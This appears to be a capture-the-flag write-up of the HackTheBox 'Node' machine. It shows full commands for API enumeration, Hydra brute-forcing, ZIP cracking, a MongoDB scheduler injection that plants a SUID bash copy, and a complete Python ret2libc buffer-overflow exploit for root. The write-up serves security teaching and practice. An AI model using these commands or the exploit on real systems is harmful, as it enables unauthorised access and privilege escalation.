HTB: Node Writeup
Node - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Node |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 24th October 2017 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Node is a medium-difficulty machine that focuses on newer software vulnerabilities and misconfigurations requiring progressive enumeration and exploitation. The attack chain begins with bypassing user-agent filtering to discover hidden API endpoints, escalates through credential harvesting and JSON brute-forcing to gain administrative access, then leverages MongoDB injection to achieve lateral movement, and finally exploits a buffer overflow vulnerability in a SUID binary using ret2libc techniques to achieve root access. This machine demonstrates the importance of thorough code review, API enumeration, and understanding classic exploitation techniques like buffer overflow mitigation bypass.
TL;DR: Enumerate hidden APIs → Brute-force admin credentials → Extract backup via Base64 decoding → SSH access via MongoDB credentials → MongoDB injection for privilege escalation to tom → ret2libc buffer overflow in SUID binary → root access
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.10.58Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.23000/tcp open http Node.js Express frameworkOnly two services are exposed: SSH and a Node.js application running on port 3000.
Service Enumeration
Web Application (Port 3000):
The root page loads successfully but initial directory enumeration yields no results. The application appears to serve static content with embedded JavaScript files. Examining the page source reveals references to several JavaScript files including app.js, which contains application logic.
Key Finding - JavaScript Code Review:
The app.js file references /partials/admin.html, suggesting an admin functionality exists. Additionally, the profile page logic interacts with /api/users/<username> endpoints, indicating an API surface worth investigating.
Vulnerability Assessment
- User-Agent Filtering: Directory enumeration tools are blocked by default; modified user agents are required
- Exposed API Endpoints: The
/api/users/endpoint exposes all valid usernames and password hashes - Weak Credentials: Administrator passwords are susceptible to dictionary attacks
- Backup Extraction: Administrative users can download a backup file containing sensitive credentials
- Code Reuse: Credentials are reused across multiple services (SSH, MongoDB)
- MongoDB Injection: The scheduler service accepts unsanitized commands via MongoDB
- Buffer Overflow: SUID binary in
/usr/local/bin/backupis vulnerable to stack-based buffer overflow with ASLR/NX enabled
Initial Foothold
Step 1: Bypass User-Agent Filtering and Enumerate APIs
Directory fuzzing tools require a proper user agent to succeed:
# Using curl with a standard user agentcurl -H "User-Agent: Mozilla/5.0" http://10.10.10.58:3000/api/users/This reveals all valid usernames and their password hashes. Identify the administrator account: myP14ceAdm1nAcc0uNT
Step 2: Brute-Force Administrator Credentials
Using Hydra to brute-force the admin account with proper JSON formatting:
hydra -l myP14ceAdm1nAcc0uNT -P rockyou.txt 10.10.10.58 -s 3000 \ http-post-form "/api/session/authenticate:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:Authentication failed:H=Content-Type\: application/json" \ -t 64Credentials are successfully discovered from the wordlist.
Step 3: Download and Decode Backup File
Once authenticated, navigate to the backup download functionality. The downloaded file myplace.backup contains a single Base64-encoded string:
# Decode the Base64 backup filebase64 -d myplace.backup > backup.zipThis produces a password-protected ZIP file.
Step 4: Crack ZIP Password
Using fcrackzip with the rockyou.txt wordlist:
fcrackzip -D -p rockyou.txt -u backup.zipThe password is quickly discovered, allowing extraction of the ZIP contents.
Step 5: Extract SSH Credentials
Within the extracted backup files, examine app.js to locate the MongoDB connection string:
// MongoDB connection contains credentialsmongoose.connect('mongodb://mark:5ArezaSH69@localhost:27017/myplace')The credentials mark:5ArezaSH69 are valid for SSH access.
Step 6: Gain SSH Access
ssh mark@10.10.10.58# Enter password: 5ArezaSH69User flag is located at /home/mark/user.txt or similar location accessible to the mark user.
Privilege Escalation
Step 1: Enumerate Running Processes
Execute ps aux or use LinEnum to identify services running under different users:
ps aux | grep nodeReveals: /usr/bin/node /var/scheduler/app.js running as user tom
Step 2: MongoDB Command Injection
The scheduler service connects to MongoDB using the previously discovered credentials. Access the MongoDB instance:
mongo -u mark -p scheduler# Enter password: 5ArezaSH69Insert a malicious task that creates a SUID bash binary owned by tom:
db.tasks.insert({ "cmd": "/bin/cp /bin/bash /tmp/tom; /bin/chown tom:admin /tmp/tom; chmod g+s /tmp/tom; chmod u+s /tmp/tom"});The scheduler service will execute this command as the tom user.
Step 3: Escalate to Tom
Execute the SUID bash binary with the -p flag to preserve privileges:
/tmp/tom -pThis grants a bash shell as user tom with membership in the admin group.
Step 4: Identify SUID Binary
With tom privileges, LinEnum or find reveals another SUID binary:
find / -perm -4000 -type f 2>/dev/nullIdentifies /usr/local/bin/backup as a SUID binary owned by root.
Step 5: Analyze Buffer Overflow Vulnerability
The backup binary is called with the syntax:
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplaceTesting reveals the binary crashes (SIGSEGV) when the third argument (path) exceeds 508 bytes and quiet mode (-q) is not enabled.
Step 6: Bypass ASLR and NX with ret2libc
Gather necessary offsets:
# Find libc base addressldd /usr/local/bin/backup# Example output: libc.so.6 => 0xf75e2000
# Find system() function offsetreadelf -s /lib32/libc.so.6 | grep system# Example: 0003a940
# Find exit() function offsetreadelf -s /lib32/libc.so.6 | grep exit# Example: 0002e7b0
# Find /bin/sh string offsetstrings -a -t x /lib32/libc.so.6 | grep /bin/sh# Example: 0015900bStep 7: Create and Execute Exploit
Create the exploit script node_bof.py:
import structimport subprocessimport time
# Gathered offsets from system reconnaissancelibc = 0xf75e2000sys_offset = 0x0003a940sys_address = libc + sys_offsetexit_offset = 0x0002e7b0exit_address = libc + exit_offsetbin_sh = libc + 0x0015900b
# ROP chain: system_address, exit_address, /bin/sh_addresspayload = "A" * 512payload += struct.pack("<I", sys_address)payload += struct.pack("<I", exit_address)payload += struct.pack("<I", bin_sh)
attempts = 0
while True: attempts += 1 print("Attempt: {}".format(attempts)) subprocess.call([ "/usr/local/bin/backup", "-i", "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110", payload ]) time.sleep(0.5)Execute the exploit:
python node_bof.pyThe exploit triggers the buffer overflow and executes a shell as root. The root flag is accessible at /root/root.txt.
Attack Chain Summary
Enumerate hidden API endpoints ↓Discover admin username via /api/users/ ↓Brute-force admin credentials with JSON payloads ↓Download Base64-encoded backup file ↓Crack ZIP password with fcrackzip ↓Extract SSH credentials from app.js ↓SSH access as mark user ↓MongoDB injection via scheduler service ↓Create SUID bash binary as tom user ↓Discover /usr/local/bin/backup SUID binary ↓Exploit buffer overflow with ret2libc ROP chain ↓Root shell accessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Manual API testing with custom headers |
hydra | JSON-formatted credential brute-forcing |
base64 | Decoding Base64-encoded backup file |
fcrackzip | ZIP password cracking |
ssh | Remote shell access |
mongo | MongoDB command execution and injection |
readelf | Extracting function offsets from libc |
strings | Finding /bin/sh string in libc |
python | Exploit development (struct packing, ROP gadgets) |
LinEnum | Automated privilege escalation enumeration |
Key Learnings
Techniques Practiced
- User-agent filtering bypass for directory enumeration
- JSON payload crafting for API brute-forcing
- Base64 decoding and ZIP file handling
- MongoDB credential extraction and command injection
- SUID binary identification and analysis
- Stack-based buffer overflow exploitation
- ret2libc ROP chain construction for ASLR/NX bypass
- Offset calculation in shared libraries using
readelfandstrings - Privilege escalation through service exploitation
Lessons Learned
-
API Enumeration is Critical: Many modern applications expose unprotected API endpoints that leak sensitive information (usernames, hashes). Always fuzz for
/api/paths and review JavaScript files for endpoint references. -
Credential Reuse is a Security Antipattern: Database credentials used in configuration files should never be reused for system accounts. This machine demonstrates the cascade effect of a single compromised credential.
-
Code Review Reveals Hidden Functionality: JavaScript and configuration files often contain references to administrative functions and hidden endpoints that are not advertised in the UI.
-
ASLR/NX is Not Impenetrable: While modern protections prevent direct shellcode execution, ret2libc techniques leverage existing library functions to achieve arbitrary code execution.
-
Service Monitoring is Essential: Running background services with elevated privileges can become lateral movement vectors if their input validation is insufficient (MongoDB injection in this case).
-
Buffer Overflow Exploitation Requires Precision: Successful exploitation of modern binaries requires careful offset calculation and an understanding of calling conventions and ROP gadget chains.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>